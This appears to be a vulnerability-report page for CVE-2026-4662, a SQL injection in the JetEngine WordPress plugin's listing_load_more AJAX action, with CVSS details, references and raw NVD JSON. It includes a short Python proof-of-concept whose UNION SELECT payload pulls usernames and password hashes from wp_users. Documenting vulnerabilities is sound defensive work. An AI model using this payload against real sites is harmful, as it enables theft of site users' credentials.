Security Vulnerability Report
中文
CVE-2026-4662 CVSS 7.5 HIGH

CVE-2026-4662

Published: 2026-03-24 05:16:26
Last Modified: 2026-04-24 16:32:54

Description

The JetEngine plugin for WordPress is vulnerable to SQL Injection via the `listing_load_more` AJAX action in all versions up to, and including, 3.8.6.1. This is due to the `filtered_query` parameter being excluded from the HMAC signature validation (allowing attacker-controlled input to bypass security checks) combined with the `prepare_where_clause()` method in the SQL Query Builder not sanitizing the `compare` operator before concatenating it into SQL statements. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, provided the site has a JetEngine Listing Grid with Load More enabled that uses a SQL Query Builder query.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress JetEngine Plugin <= 3.8.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Vulnerable payload demonstrating the SQL injection # The 'compare' field is not sanitized in prepare_where_clause() payload = { "action": "listing_load_more", "listing_id": 1, "filtered_query": { "where": [ { "field": "ID", "compare": "= 1 UNION SELECT 1, user_login, user_pass, 4, 5, 6 FROM wp_users-- -" } ] } } try: response = requests.post(url, data=payload) print(f"Status Code: {response.status_code}") print("Response:") print(response.text) except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4662", "sourceIdentifier": "[email protected]", "published": "2026-03-24T05:16:25.600", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The JetEngine plugin for WordPress is vulnerable to SQL Injection via the `listing_load_more` AJAX action in all versions up to, and including, 3.8.6.1. This is due to the `filtered_query` parameter being excluded from the HMAC signature validation (allowing attacker-controlled input to bypass security checks) combined with the `prepare_where_clause()` method in the SQL Query Builder not sanitizing the `compare` operator before concatenating it into SQL statements. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, provided the site has a JetEngine Listing Grid with Load More enabled that uses a SQL Query Builder query."}, {"lang": "es", "value": "El plugin JetEngine para WordPress es vulnerable a inyección SQL a través de la acción AJAX 'listing_load_more' en todas las versiones hasta la 3.8.6.1, inclusive. Esto se debe a que el parámetro 'filtered_query' fue excluido de la validación de firma HMAC (lo que permite que la entrada controlada por el atacante omita las comprobaciones de seguridad) combinado con que el método 'prepare_where_clause()' en el Constructor de Consultas SQL no sanitiza el operador 'compare' antes de concatenarlo en sentencias SQL. Esto hace posible que atacantes no autenticados añadan consultas SQL adicionales a consultas ya existentes que pueden usarse para extraer información sensible de la base de datos, siempre que el sitio tenga una cuadrícula de listado de JetEngine con Cargar más habilitado que utilice una consulta del Constructor de Consultas SQL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://crocoblock.com/changelog/?plugin=jet-engine", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/jet-engine/tags/3.8.6.1/includes/components/listings/ajax-handlers.php#L251", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/jet-engine/tags/3.8.6.1/includes/components/query-builder/listings/query.php#L125", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/jet-engine/tags/3.8.6.1/includes/components/query-builder/queries/sql.php#L1038", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/jet-engine/tags/3.8.6.1/includes/components/query-builder/queries/sql.php#L962", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f10cf49b-1b78-43c1-b0d1-c1dbb74d5696?source=cve", "source": "[email protected]"}]}}